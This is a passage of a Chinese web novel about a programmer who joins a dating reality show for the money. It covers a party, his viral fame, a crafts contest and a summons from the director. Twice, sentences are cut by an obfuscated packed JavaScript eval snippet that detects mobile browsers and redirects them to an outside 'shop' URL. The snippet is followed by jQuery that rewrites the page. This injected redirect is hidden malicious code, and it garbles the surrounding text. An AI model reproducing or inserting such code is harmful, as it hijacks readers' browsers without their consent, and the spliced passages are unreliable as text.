而他需要做的,就是继续扮演好“为钱而来的普通素人”,在三十天内,赚够三万块。 就这么简单。 窗外的海面漆黑一片,只有远处灯塔的光,每隔几秒闪烁一次。 像某种信号。 或者,像某种监控指示灯。 提示着:系统运行中。 一切正常。 至少表面上是。 9. 星光下的格格不入 晚上八点半,别墅后院变成了陈末从未想象过的模样。 白色帐篷沿着泳池边展开,里面挂着暖黄色的串灯,在夜风中轻轻摇曳。长桌上摆着鸡尾酒、水果塔和小食,旁边有个小吧台,调酒师正手法娴熟地摇晃雪克杯。音响里流出轻柔的爵士乐,音量恰到好处,既营造氛围又不妨碍交谈。 泳池水底亮着蓝色的灯,水面映着灯光和星光,波光粼粼。远处海面上,一轮明月正在升起,在海面铺出一条碎银般的路。 很美。很贵。很不真实。 陈末站在帐篷边缘,手里端着一杯苏打水——他没要酒,因为需要保持清醒算工时。从晚上八点半到九点半,这一小时值83.33元。 其他人都已换上了更适合派对的衣服。苏小雨穿了条亮片吊带裙,在灯光下闪闪发亮;楚曦是简单的黑色背心和短裤,但剪裁得体,凸显出她的肌肉线条;秦澜换了身深蓝色连衣裙,依然干练;林薇则是米色长裙,头发松松挽着,几缕碎发散在颈边。 王烁最引人注目——白色亚麻衬衫,袖子挽到手肘,搭配卡其色长裤,脚上是帆船鞋。他拿着杯香槟,正和苏小雨说笑,动作优雅得像在拍画报。 陈末低头看了眼自己的格子衬衫和牛仔裤。他本来想换件衣服,但打开行李箱才发现,带来的全是同款不同色的衬衫。算了,反正他是背景板。 “陈末老师!”苏小雨蹦跳着过来,手里拿着杯粉红色的饮料,“你怎么一个人在这儿?不过去玩吗?” “我看看。”陈末说。 “看什么?” “看……”陈末环顾四周,“系统运行状态。” 苏小雨愣了一下,然后笑出声:“你又开始了!走啦走啦,去吃点东西,那个芒果布丁超好吃!” 她拉着陈末的胳膊往长桌走。陈末不太适应这种肢体接触,但也没甩开——合同里应该没写“禁止被女嘉宾拉胳膊”吧? 长桌上食物琳琅满目。陈末拿了盘水果,又夹了块三明治。苏小雨则往盘子里堆甜点,动作熟练得像在玩俄罗斯方块。 “小雨,注意体重。”秦澜走过来,手里只拿着杯红酒。 “明天多游两圈就消耗掉啦!”苏小雨理直气壮。 楚曦也过来了,盘子里是烤肉和蔬菜,堆得比陈末还高。“运动量大,饿得快。”她解释,然后看向陈末,“你不喝酒?” “不喝。”陈末说,“酒精影响判断力。” “判断什么?”楚曦挑眉。 “各种判断。” 楚曦笑了,往嘴里塞了块烤肉。她吃得很香,毫不做作。 泳池那边传来笑声。王烁正在表演一个魔术——从苏小雨耳后变出一枚硬币。苏小雨配合地惊呼,眼睛睁得圆圆的。林薇在旁边看着,脸上带着淡淡的微笑。 “王烁哥好厉害!”苏小雨鼓掌。 “小把戏。”王烁谦虚地说,把硬币还给苏小雨,“留作纪念。” 陈末看着这一幕。完美的互动,完美的镜头感。如果他是个普通观众,会觉得这一幕很美好。但作为一个“系统观察者”,他看到的是一系列精心设计的交互流程:输入(魔术表演),处理(观众反应),输出(情感共鸣)。 “你觉得是真的吗?”楚曦忽然问。 陈末转头:“什么?” “魔术。”楚曦朝泳池方向抬了抬下巴,“你觉得真是魔术,还是事先安排好的?” 陈末想了想:“从技术角度,硬币魔术有很多实现方式。可能是手法,可能是道具,可能是托。” “你觉得苏小雨是托?” “不确定。”陈末说,“但她的反应很自然,如果是演的,演技很好。” 楚曦笑了:“你说话真有意思。‘从技术角度’,‘不确定’,‘演技很好’。像个AI在分析人类行为。” 陈末没否认。他确实是这么想的。 秦澜喝了口红酒,看向陈末:“你平时也这么分析周围的人和事?” “职业病。”陈末说,“运维就是监控系统状态,分析日志,预测问题。” “那人呢?”秦澜问,“人也有一套‘日志’吗?” 这个问题让陈末想起下午和林薇的对话。他谨慎地回答:“人的‘日志’是行为、语言、表情。但解读起来比机器日志难,因为人会伪装。” “所以你在这里,”秦澜环顾派对现场,“看到的是一堆需要解码的日志?” 陈末顿了顿:“看到的是一群人在努力让系统正常运行。” “什么系统?” “这个。”陈末指了指周围,“《心动的岛屿》系统。我们每个人都是一个组件,需要协同工作,产出节目内容。” 秦澜盯着他看了几秒,然后笑了:“有意思的观点。那你觉得,我这个‘组件’在系统里是什么角色?” 陈末想了想:“你像……系统架构师。观察整体结构,思考如何优化。” “那林薇呢?” “核心服务。承载主要流量和期望。” “王烁?” “前端界面。用户体验的关键。” “楚曦?” “负载均衡器。调节系统压力。” “苏小雨?” “缓存层。提升系统响应速度,让体验更流畅。” 秦澜听完,慢慢点头:“那我呢?你说我是架构师,那我应该在哪里?” “在监控室。”陈末说,“看着所有指标,思考系统演进方向。” 秦澜笑了,那笑容里有些别的东西:“你猜对了。我确实在观察。” 她举起酒杯,朝陈末示意一下,然后走向泳池边,加入王烁他们的谈话。 楚曦看着秦澜的背影,小声说:“秦澜姐是真的很厉害。她监制的那部剧,去年拿了三个大奖。” 陈末不知道秦澜监制过什么剧,但他点点头。 “你呢?”楚曦转头看他,“你说你是后台服务,不直接面对用户。那现在被迫推到前台,感觉怎么样?” “不习惯。”陈末实话实说。 “我看你挺淡定的。” “装的。” 楚曦笑出声:“你还挺诚实。” 两人安静地吃了一会儿东西。音乐换了一首,节奏更慢,更浪漫。王烁邀请苏小雨跳舞,两人在泳池边的空地上慢慢旋转。林薇坐在椅子上看着,秦澜在她旁边坐下,两人低声交谈。 “你不去跳舞?”楚曦问。 “不会。”陈末说。 “我教你?” “不用了,谢谢。” 楚曦也没坚持。她吃完盘子里的食物,把空盘子放到回收处,回来时手里多了两杯饮料——一杯递给陈末。 “无酒精的。”她说。 陈末接过,喝了一口,是柠檬薄荷苏打,清爽解腻。 “谢谢。” “不客气。”楚曦在他旁边的椅子上坐下,长腿伸直,交叉放在一起,“其实我也觉得有点不自在。” “为什么?” “因为这也是工作。”楚曦说,“跳舞,聊天,笑,都是工作的一部分。但有时候会想,如果这不是工作,我会怎么做?” 陈末看着她。楚曦的表情很平静,但眼神里有种真实的困惑。 “你会怎么做?”他问。 “不知道。”楚曦说,“我从小游泳,后来进国家队,退役后做解说。生活一直很有规律,很有目标。但恋爱……没有SOP(标准作业程序)。” 陈末想起自己用SLO(服务等级目标)比喻人的价值,现在楚曦用了SOP。大家其实都在用自己熟悉的方式理解这个世界。 “也许不需要SOP。”陈末说。 “那需要什么?” “试错。” 楚曦笑了:“像调试代码?” “差不多。运行,看结果,改参数,再运行。” “如果一直出错呢?” “那就查文档,问别人,或者……”陈末停顿了一下,“承认这个问题目前无解,先放一放。” 楚曦看着他,眼神认真:“你谈过恋爱吗?” 陈末摇头。 “那你这些理论哪来的?” “从系统运维推导的。”陈末说,“任何复杂系统,原理都相通。” 楚曦摇头笑:“你这人真怪。但我喜欢你的怪。” 她说得很直接,陈末不知道该怎么回应,只好喝饮料。 泳池那边,王烁和苏小雨的舞跳完了。王烁朝林薇伸出手,林薇犹豫了一下,起身。两人开始跳舞,林薇的动作有些僵硬,但王烁引导得很好,很快两人就协调起来。 “林薇姐跳舞很好看。”苏小雨跑过来,在楚曦旁边坐下,脸上还带着兴奋的红晕,“王烁哥也是,什么都会。” “他是偶像,训练过的。”楚曦说。 “也是。”苏小雨拿起陈末盘子里的草莓吃了一口,“陈末老师,你真的不去跳舞吗?我可以教你,很简单!” “真的不用。”陈末说。 “好吧。”苏小雨也不坚持,她晃着腿,看着泳池方向,“其实这样也挺好,安安静静吃东西,看别人玩。” 陈末注意到,苏小雨说这话时,脸上的笑容淡了些。那种“元气偶像”的光环褪去了一点,露出下面真实的、有些疲惫的底色。 “你累了吗?”他问。 苏小雨愣了一下,然后笑:“有点。今天跑了一天,晚上还要保持活力。” “那就休息。”陈末说,“没人规定必须一直活跃。” 苏小雨看着他,眼睛在灯光下亮晶晶的:“陈末老师,你真好。” 陈末不知道“不强迫你活跃”就算“好”,但他点点头。 这时,林薇和王烁的舞跳完了。林薇走过来,呼吸有些急促,脸颊微红。 “跳得怎么样?”楚曦问。 “还行。”林薇说,她在陈末另一边的椅子上坐下,接过苏小雨递来的水,“谢谢。” 王烁也过来了,额头上有些细汗,但笑容依旧完美:“大家怎么都坐在这里?不去玩吗?” “休息一下。”楚曦说。 “也是,慢慢来。”王烁在旁边的椅子坐下,很自然地融入了这个小圈子。 现在五个人围坐在一起,形成了一个临时的聊天组。秦澜还在泳池那边,正在用手机处理什么,可能是工作。 “我们来玩个游戏吧。”王烁提议,“真心话大冒险,简单版。不说大冒险,只说真心话。一个问题,每个人都要回答,可以不具体,但不能说谎。” 苏小雨眼睛亮了:“好啊好啊!谁先问?” “我先吧。”王烁说,他想了想,“问题:来节目之后,最意外的一件事是什么?” 大家思考起来。 苏小雨第一个回答:“最意外的是陈末老师!我以为素人嘉宾会很紧张,但陈末老师好淡定,而且好聪明!” 楚曦:“最意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990770|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外的是……我自己。我本来以为我会很不适应这种场合,但居然还行。” 林薇沉默了几秒:“最意外的是,有些问题,可以从没想过的角度思考。” 她说这话时看了陈末一眼。陈末低下头,假装没看见。 王烁:“我最意外的是,大家比我想象中更真实。好了,陈末,该你了。” 陈末想了想。最意外的事?有很多。林薇借技术书,楚曦的直率,苏小雨的疲惫,王烁的完美,秦澜的观察。 但最意外的也许是—— “最意外的是,”陈末慢慢说,“我以为我会很想离开,但实际上,我算时间算得很认真。” 这话让所有人都愣了一下,然后楚曦大笑:“你在算工时?” “嗯。” “怎么算的?”苏小雨好奇。 “日薪一千,每天工作十二小时,时薪83.33元。”陈末流畅地说,“从早上九点到晚上九点,每小时都在计算。” 王烁的笑容有点僵:“你……真的在算这个?” “嗯。”陈末说,“这是我的工作。” 苏小雨笑倒在楚曦肩上:“陈末老师你太可爱了!” 林薇的嘴角也扬了起来,虽然很轻微。 王烁摇摇头,哭笑不得:“你这真是……独一无二。” 第二轮,轮到楚曦提问。她想了想,问了个尖锐的问题:“如果现在节目突然结束,你们最舍不得的是什么?” 苏小雨:“舍不得大家!虽然才两天,但我觉得大家都很好。” 楚曦自己:“舍不得这里的泳池。标准池,水温好,游起来太舒服了。” 林薇:“舍不得……安静。” 王烁:“舍不得这种大家一起生活、交流的机会。平时工作忙,很少有这样的体验。” 又轮到陈末。他认真思考。 舍不得什么?这里的WiFi很快,房间很安静,食物很好吃。但他最舍不得的可能是—— “舍不得这种可以观察人类行为的机会。”他说,“平时没这种环境。” “你又来了!”苏小雨笑,“观察人类,说得我们像实验室的小白鼠!” “不是小白鼠,”陈末纠正,“是运行中的系统组件。” 大家又笑成一团。 游戏继续。每个人问一个问题,回答五花八门。陈末发现,在这种“必须诚实但可以不具体”的规则下,大家说的可能比平时更接近真实。 秦澜处理完工作过来了,也加入了游戏。她的问题很深刻:“你认为爱情在人生系统中的优先级是多少?” 苏小雨:“很高!但不是最高,还有家人和朋友。” 楚曦:“中等偏上。重要,但不是全部。” 林薇:“不确定。没经历过足够多的样本。” 王烁:“很重要。爱情让人完整。” 秦澜自己:“中等。人生有很多子系统,爱情是其中之一,需要和其他子系统协调。” 陈末想了想:“从系统设计角度,爱情模块应该和其他模块解耦,避免单点故障导致整个系统崩溃。” 这个回答让秦澜笑了:“很技术的视角。” 王烁看着陈末,眼神复杂:“陈末,你以后谈恋爱,也会用这种思路吗?” “可能。”陈末说,“习惯很难改。” 晚上九点二十五分,派对接近尾声。刘导过来提醒,还有五分钟结束拍摄。 大家起身,准备回房。苏小雨打了个哈欠,楚曦伸了个懒腰,秦澜收起手机,林薇把披肩裹紧。 陈末看了眼时间:九点二十六分。今天的工时到九点结束,他已经完成了十二小时的工作,赚到了一千元。 回房间的路上,楚曦和他并肩走。 “今天谢谢你。”楚曦忽然说。 “谢什么?” “谢谢你……真实。”楚曦说,“在这个到处都是表演的地方,有个不表演的人,挺好的。” 陈末不知道说什么,点点头。 回到房间,陈末照例更新记录: 【8月4日第二天】 今日收入:1000元(目标达成) 累计收入:2500元 距离目标:27500元 备注:派对环节与嘉宾互动增加。楚曦表现出明显好感。王烁态度微妙。林薇持续关注技术问题。整体“背景板”角色受到挑战,但节目组似乎乐见其成。 写完,他放下手机,走到窗边。 花园里的灯光已经调暗,派对场地有工作人员在收拾。夜空清澈,能看见银河。 陈末看着那些星星,忽然想起楚曦的话:“在这个到处都是表演的地方,有个不表演的人,挺好的。” 但他在表演吗?表演一个“为钱而来的普通素人”。只是这个表演要求他“真实”,所以看起来不像表演。 也许最成功的表演,就是让人看不出在表演。 他拉上窗帘,准备洗漱睡觉。 明天是第三天。还有二十八天。 还有两万七千五百元。 他需要保持状态,继续工作。 但在闭眼前,他脑子里闪过一个念头: 如果有一天,这个“表演”和“真实”的界限模糊了,他还能分得清吗? 他不知道。 月光从窗帘缝隙漏进来,在地板上切出一线银白。 像一道分界线。 或者,像一道裂缝。 10. 首个热搜的诞生 凌晨三点十七分,陈末被手机震动惊醒。 他迷迷糊糊摸过手机,屏幕上跳着张伟的十几条未读消息,最新一条是:“末哥!!!你火了!!!” 陈末皱眉,点开聊天窗口。往上翻,全是张伟发来的截图和链接: “#陈末为钱而来# 热搜第37位!” “讨论度还在涨!” “草莓视频先导片播放量破五百万了!” “评论区都在说你真实!” “末哥你看到没???” 陈末完全清醒了。他坐起身,点开张伟发的第一个链接,跳转到微博热搜页面。 热搜榜第37位,确实挂着“#陈末为钱而来#”的词条。点进去,热门第一条是节目官方微博发布的先导片片段,配文:“当被问及为什么参加《心动的岛屿》,素人嘉宾陈末的回答是_____。” 视频只有十五秒。画面里,陈末坐在采访椅上,灯光打得很亮,能看清他脸上每一处细节。他对着镜头,表情平静得像在陈述今天早餐吃了什么: “说实话,为钱。这是一份工作。” 视频结束。转发3.2万,评论1.8万,点赞9.7万。 陈末点开评论区。 热评第一:“笑死,这才是大实话!谁上节目不是为了钱和曝光?” 第二:“虽然但是,这也太直白了吧2333” 第三:“只有我一个人觉得他有点帅吗?那种理工男的认真感……” 第四:“其他嘉宾都在谈梦想谈爱情,这位哥:为钱。反差萌拉满!” 第五:“这才是正常人思维好吗!那些说‘来寻找真爱’的,骗鬼呢?” 评论还在实时刷新。有人夸他真实,有人说他装,有人分析他的微表情,有人扒他的背景——“运维工程师,30岁,普通家庭,母亲住院需要钱”这些信息已经被人发出来了。 陈末关掉微博,回到微信。张伟又发了几条: “末哥你说话啊!” “节目组联系你没?” “这下你稳了!热度这么高,节目组肯定重点捧你!” “对了,合同你看清楚没?真的是日薪一千?” 最后这条让陈末心里一紧。他回复:“看了,是一千。怎么了?” 张伟秒回:“没什么,就是觉得……节目组对你挺好的。先导片里你的片段最多,明显在推你。” 陈末没回。他打开节目组的工作机,内部通讯软件上很安静,没有新消息。看来节目组并不打算在凌晨三点打扰他。 他下床,走到窗边。花园里的夜灯还亮着,泳池水底的蓝光在黑暗中幽幽闪烁。一切都和几小时前一样,但有什么东西已经改变了。 他的名字上了热搜。成千上万的人看到了他,议论他。 而这只是第一天播出的先导片。 陈末回到床边坐下,打开手机备忘录。他需要重新评估现状。 【新情况:先导片播出引发关注】 影响评估: 1. 公众关注度上升 →可能增加节目组对我的期待值 2. “为钱而来”人设确立 →后续需保持一致性 3. 个人背景被部分曝光 →需注意隐私保护 4. 可能引发其他嘉宾的竞争意识 →需观察王烁等反应 应对策略: 1. 保持现有行为模式,不因外界反馈而改变 2. 继续履行“背景板”职责,避免过度表现 3. 关注合同条款,确保报酬不受影响 4. 观察节目组后续安排,做好调整准备 写完,陈末看着屏幕上的字。策略很清晰,但执行起来呢?他能控制自己不被外界影响吗?能控制其他嘉宾的反应吗?能控制节目组的剪辑吗? 不能。他唯一能控制的,就是自己的行为。 陈末躺回床上,却再也睡不着。他睁眼看着天花板,脑子里像在跑监控面板——各种数据流、日志条目、性能指标翻滚而过。 凌晨四点,他终于又睡着了。做了个短暂的梦:他在修一台巨大的服务器,服务器屏幕上显示着微博热搜榜,每一条热搜都是一行错误日志。他试图修复,但错误日志越来越多,最后整个屏幕被红色的ERROR填满。 早上七点,闹钟响了。 陈末起床,洗漱,换上另一件格子衬衫——深蓝色的,和昨天那件浅灰的略有区别。他对着镜子整理头发时,发现自己的黑眼圈有点重。 七点半,他准时下楼吃早餐。 餐厅里的气氛和昨天明显不同。 苏小雨一看见他就跳起来:“陈末老师!你上热搜了!” 楚曦正在倒咖啡,回头看他:“可以啊陈末,‘为钱而来’,够直接。” 秦澜从平板后抬起头,推了推眼镜:“恭喜。真实是最有力的武器。” 王烁也在,他笑着打招呼:“早啊陈末,昨晚睡得好吗?看到热搜了吧?” 只有林薇还坐在角落,安静地喝粥。她看了陈末一眼,点了点头,算是打招呼。 “看到了。”陈末说,去取食物。他拿了一碗粥,两个包子,和昨天一样。 “你不激动吗?”苏小雨跟着他,“我第一次上热搜的时候,激动得一晚上没睡!” “有点意外。”陈末实话实说。 “节目组肯定乐坏了,”楚曦说,“这种免费的热度,求之不得。” 王烁点头:“确实。陈末这个切入点很好,打破了恋综的传统叙事。” 陈末坐下,开始吃早餐。他能感觉到所有人的目光都在他身上——不是恶意的,只是好奇的、探究的。像在观察一个新物种。 “你之前想到会这样吗?”秦澜问。 “没想到。”陈末说,“我以为我就是个背景板。” “现在背景板到前台了。”楚曦笑。 早餐进行到一半,刘导来了。他红光满面,显然心情极好。 “各位老师早!”刘导声音洪亮,“大家看到先导片的反响了吧?非常好!特别是陈末老师那段,讨论度非常高!” 陈末点点头,继续喝粥。 “今天日程有些调整,”刘导继续说,“上午原定的自由活动取消,改为集体观看先导片完整版,并录制reaction(反应)视频。下午照常进行第二轮任务。” Reaction视频。陈末心想,就是拍他们看自己视频时的反应。又是一层表演。 早餐后,大家移步影音室。房间不大,有舒适的沙发和大屏幕。工作人员调试设备,六个位置前都放了麦克风。 “大家放松,自然一点。”刘导指导,“看到好玩的片段可以笑,可以讨论,就像平时一起看电视一样。” 陈末坐在最边上。左边是楚曦,右边没人。苏小雨坐在中间,林薇和王烁在另一边,秦澜单独坐一个单人沙发。 灯光调暗,影片开始。 完整版先导片有十分钟,从嘉宾入场开始。陈末看到屏幕上的自己拖着轮子不灵光的行李箱走进玻璃别墅,那样子确实有点格格不入。 “陈末老师当时好严肃。”苏小雨小声说。 “我在算时间。”陈末说。 “算时间?” “从下车到进门,花了四分三十七秒。”陈末说,“我在想要不要算进工时。” 楚曦笑出声:“你还真在算啊!” 影片继续。自我介绍环节,每个人的片段都剪进去了。陈末看到自己说“来学习和观察的”时,表情确实很“运维工程师”。 然后是任务环节。剪辑得很精彩,突出了各组的特色:王烁和楚曦的戏剧冲突,林薇和秦澜的理性分析,他和苏小雨的……效率。 “我们真的很快诶!”苏小雨兴奋地说。 “你跑得快。”陈末说。 “是你找线索快!” 最后是采访片段。每个人的回答依次出现。当放到陈末的“为钱而来”时,影音室里安静了一瞬。 屏幕上,陈末的表情平静,眼神直视镜头,没有任何闪躲或玩笑的意味。 然后楚曦吹了声口哨:“帅。” 苏小雨鼓掌:“陈末老师最棒!” 王烁笑着摇头:“我输了,我太官方了。” 林薇看着屏幕,没说话。但陈末注意到,她的嘴角微微扬了一下。 影片结束。灯光亮起。 刘导问:“大家有什么感想?” 苏小雨第一个举手:“我觉得剪得好好!每个人特点都出来了!” 楚曦:“比我预期中真实。我以为会剪得很戏剧化。” 秦澜:“叙事节奏不错,人物线清晰。” 王烁:“很期待正片。感觉会是个有趣的故事。” 林薇:“嗯。” 轮到陈末。所有人看向他。 “剪辑突出了每个人的特质,”陈末说,“像好的监控系统,能准确反映各组件的状态。” 刘导笑了:“陈末老师这个比喻……很独特。好了,reaction录制结束,大家休息一下,下午两点任务室集合。” 散场时,王烁走到陈末身边。 “陈末,”他说,语气比平时更认真,“你那个回答……是真的这么想,还是为了效果?” 陈末看着他。王烁的眼神很专注,像在寻找什么。 “真的这么想。”陈末说。 王烁点点头,没再说什么,转身走了。 楚曦走过来:“别理他。他就是想太多。” “想什么?” “想你是个威胁。”楚曦直白地说,“本来这个节目,他和林薇应该是焦点。现在你横空出世,抢了风头。” 陈末皱眉:“我没想抢风头。” “我知道。”楚曦拍拍他的肩,“但事实就是这样。你越真实,越显得别人假。小心点,王烁团队很专业的。” 她说完也走了。 陈末站在原地。威胁?抢风头?他只是来赚日薪一千的。 回房间的路上,他在楼梯拐角遇到林薇。她靠在窗边,看着外面。 “陈末。”她没回头。 “嗯。” “热搜看了吗?”林薇问。 “看了。” “什么感觉?” 陈末想了想:“像服务器突然承受了超出预期的流量,需要评估是否要扩容。” 林薇转过身,看着他。今天她没戴眼镜,眼睛下面有淡淡的阴影。 “扩容是什么意思?” “增加资源,提升处理能力。”陈末解释,“或者……优化现有资源的使用效率。” 林薇点点头:“那你准备扩容,还是优化?” “优化。”陈末说,“保持现有配置,调整策略。” “什么策略?” “继续做我该做的事。”陈末说,“赚我的日薪一千。” 林薇看了他几秒,然后笑了。那是陈末第一次看到她真正的笑容——不是礼貌的微笑,不是镜头的微笑,而是真实的、带着些许疲惫和无奈的笑容。 “你真是一点没变。”她说。 “为什么要变?” 林薇摇头,没回答。她转身要走,又停下。 “下午任务,加油。”她说,“别被影响。” “你也是。” 林薇点点头,下楼了。 陈末回房间。他打开笔记本电脑,处理了几个工作上的小问题,然后开始准备下午的任务——不知道是什么,但提前做好心理准备总是好的。 中午十二点,午餐时间。餐厅里,大家的话题还在热搜上。 苏小雨拿着手机念评论:“‘陈末那种理工男的直球好可爱’——这条点赞两万!” 楚曦:“‘只有我觉得他长得不错吗?耐看型’——这条也很多赞。” 秦澜:“舆论整体正面。你的真实策略成功了。” 王烁笑着说:“陈末现在是我们节目的话题担当了。” 陈末安静地吃饭。他在想楚曦的警告:王烁团队很专业。 如果王烁真的觉得他是个威胁,会怎么做?在节目中排挤他?在剪辑上做手脚?还是……别的? 下午一点五十,陈末提前十分钟到任务室。房间里已经布置好了,中间摆着三张长桌,每张桌上放着一个工具箱和一张任务卡。 刘导和工作人员在调试设备。看见陈末,刘导招手让他过来。 “陈末老师,下午任务有点特别。”刘导说,“是手工制作环节。每组需要根据指定主题,用提供的材料制作一件作品。主题抽签决定。” 手工制作。陈末心里一沉。这不是他的强项。 “作品会由节目组评分,分数高的组有奖励。”刘导继续说,“奖励是……明天一整天的自由安排权,可以离开度假村,去岛上的任何地方。” 陈末眼睛亮了。自由安排权——意味着可以休息,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990771|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以不用在镜头前,可以……省点精力。 “评分标准是什么?”他问。 “创意,完成度,还有……”刘导笑了笑,“团队协作。” 一点五十八分,其他人都到了。分组和昨天一样:陈末和苏小雨,王烁和楚曦,林薇和秦澜。 抽签决定主题。苏小雨去抽,拿回来一个信封,打开:“我们的主题是……‘记忆’。” 王烁组抽到“梦想”,林薇组抽到“时间”。 工具箱里有各种材料:木板、布料、颜料、胶水、工具。陈末看着这些东西,有点无从下手。 “记忆……”苏小雨思考,“做什么好呢?相册?纪念盒?” 陈末没说话。他在想怎么把“记忆”这个抽象概念,转换成具体的、可制作的东西。 “陈末老师有想法吗?”苏小雨问。 陈末看着材料。木板,颜料…… “可以做一棵树。”他说。 “树?” “年轮。”陈末解释,“树的年轮记录时间,也记录记忆。每一年,每一圈。” 苏小雨眼睛亮了:“这个好!那怎么做?” 陈末开始规划。他们有一块圆形木板,可以作为基底。用不同颜色的颜料画同心圆,代表不同的年份。然后在某些圈上添加标记——用小物件代表重要的记忆时刻。 “需要一些小东西。”陈末说,“代表记忆的物件。” 苏小雨翻工具箱,找到了一些小贝壳、彩色石头、旧钥匙、扣子。 “这些可以吗?” “可以。”陈末开始动手。 他负责结构——画圆,规划布局。苏小雨负责装饰——选择物件,决定放在哪里。两人配合还算默契。 其他组也在忙碌。王烁和楚曦在做“梦想”主题,他们似乎在做一对翅膀,用白色羽毛和铁丝。林薇和秦澜的“时间”主题,做的是一个沙漏,用玻璃瓶和彩色沙子。 时间一分一秒过去。陈末专注在制作上,忘记了镜头,忘记了热搜,忘记了所有事情。他只是在解决一个问题:如何把“记忆”可视化。 一小时后,作品完成。 圆形木板上,深浅不一的褐色同心圆构成树的年轮。在特定的圈上,粘着各种小物件:一个贝壳代表“海的记忆”,一把小钥匙代表“家的记忆”,一颗红色的扣子代表“爱的记忆”…… “好漂亮!”苏小雨赞叹。 陈末看着作品,还算满意。从技术角度,结构稳固,视觉清晰,主题明确。应该能拿不错的分数。 三组作品并排摆放,等待评分。 刘导带着三个评委进来——都是节目组的工作人员。他们仔细观看每件作品,低声讨论。 陈末等待时,看了眼手机。张伟又发来消息: “末哥,热搜冲到第28位了!” “有营销号开始扒你的情史了,不过你好像没情史可扒哈哈!” “节目组那边有什么反应吗?” 陈末回复:“在录任务。热搜知道了。” 刚发完,评分结果出来了。 刘导宣布:“第一名,陈末和苏小雨组,‘记忆年轮’!第二名,林薇和秦澜组,‘时间沙漏’!第三名,王烁和楚曦组,‘梦想之翼’!” 苏小雨跳起来欢呼。陈末松了口气——自由安排权到手了。 “恭喜!”刘导说,“明天你们可以自由安排一整天。节目组会提供交通工具和基础经费,但需要你们自己规划行程。” “耶!”苏小雨兴奋地看向陈末,“陈末老师,明天我们去哪儿?” 陈末还没回答,王烁走过来祝贺:“恭喜两位。陈末真是全能啊,技术好,手工也好。” “谢谢。”陈末说。 王烁的笑容很完美,但陈末注意到,他握了握拳头,又很快松开。 一个小动作。但陈末记下了。 任务结束,大家各自回房休息。陈末上楼时,楚曦跟上来。 “恭喜啊。”她说。 “谢谢。” “明天打算去哪儿?”楚曦问。 “还没想。”陈末说,“可能找个安静的地方。” “不错。”楚曦停顿了一下,“小心王烁。” “什么?” “他刚才那个表情,我看到了。”楚曦压低声音,“他不高兴。你连着两天抢了风头。” 陈末没说话。 “我不是挑拨,”楚曦说,“只是提醒。这个圈子……有时候比你想的复杂。” 她说完,进了自己房间。 陈末回到房间,关上门。他打开手机备忘录,更新记录: 【8月5日第三天】 当前状态:热搜持续发酵,获得任务第一,赢得明日自由权 今日收入:预计1000元(待确认) 累计收入:3500元 距离目标:26500元 新风险:王烁可能视我为竞争对手。楚曦两次警告。 新机会:明日自由活动可休息调整,减少镜头压力。 写完,他放下手机,走到窗边。 夕阳西下,海面又被染成金红色。花园里,苏小雨和楚曦在散步,林薇和秦澜坐在长椅上,王烁……王烁在打电话,表情严肃。 一切看起来和昨天一样,但又不一样了。 陈末想起楚曦的话:“这个圈子……有时候比你想的复杂。” 他当然知道复杂。任何系统,只要涉及多人协作、资源分配、利益关系,都会复杂。 但他原本以为,自己只是个临时组件,完成任务就下线,不会卷入核心逻辑。 现在看来,他可能想错了。 手机震动,不是张伟,是刘导的消息: “陈末老师,明天自由活动,节目组会安排一个跟拍摄影,但不会干扰你们。另外,今晚八点,方便来我办公室一趟吗?有些事想聊。” 陈末盯着这条消息。 有些事想聊。 什么事?关于热搜?关于合同?关于……他的角色转变? 他不知道。 但他知道,从接到这条消息开始,有些事情,可能要超出他的计算了。 窗外,最后一抹夕阳沉入海平面。 夜晚降临。 而陈末的第一卷故事,就在这里,画上了一个逗号。 不是句号。 因为真正的系统压力测试,可能才刚刚开始。 11. 刘导的深夜邀约 晚上七点五十九分,陈末站在刘导办公室门外,心里正在做一道算术题。 从八点到未知结束时间,这段时间算加班吗?合同上写的是“每日基本工作时间为12小时”,现在已经晚上八点,理论上今天的工时已经满了。那接下来的谈话应该算额外工作,时薪是否应该按1.5倍计算? 他正在脑子里换算——83.33元×1.5=124.995元,四舍五入125元每小时——门开了。 “陈末老师,请进。”刘导站在门内,笑容满面。他换了身衣服,不再是白天的导演马甲,而是件深色Polo衫,看起来放松不少。 办公室比陈末想象的大。一整面墙是监控屏幕,分割成十几个小画面,显示着别墅各处:空无一人的客厅、亮着灯的走廊、花园里的夜灯。另一面墙是白板,上面贴着拍摄计划、日程表,还有几张嘉宾的大头照——陈末的照片贴在右下角,旁边用红笔写了个“A+”。 “坐。”刘导指了指沙发区。真皮沙发,玻璃茶几,茶几上摆着茶具和一个小型投影仪。 陈末坐下,沙发软得让他陷进去一点。他挺直背,保持端正坐姿——像面试。 “喝点什么?茶?咖啡?”刘导问。 “水就行。” 刘导从迷你冰箱里拿了瓶水递给陈末,自己泡了杯茶。他在对面坐下,吹了吹茶水面上的热气。 “今天辛苦了。”刘导开口,“任务完成得很出色,你和苏小雨配合得不错。” “她跑得快。”陈末说。 刘导笑了:“不止是跑得快。你们的解题思路很特别,效率很高。” 陈末点点头,心里想:那是因为我只想快点结束回去算钱。 “叫你过来,是想聊聊你这两天的感受。”刘导喝了口茶,“还适应吗?有什么困难或者需求?” 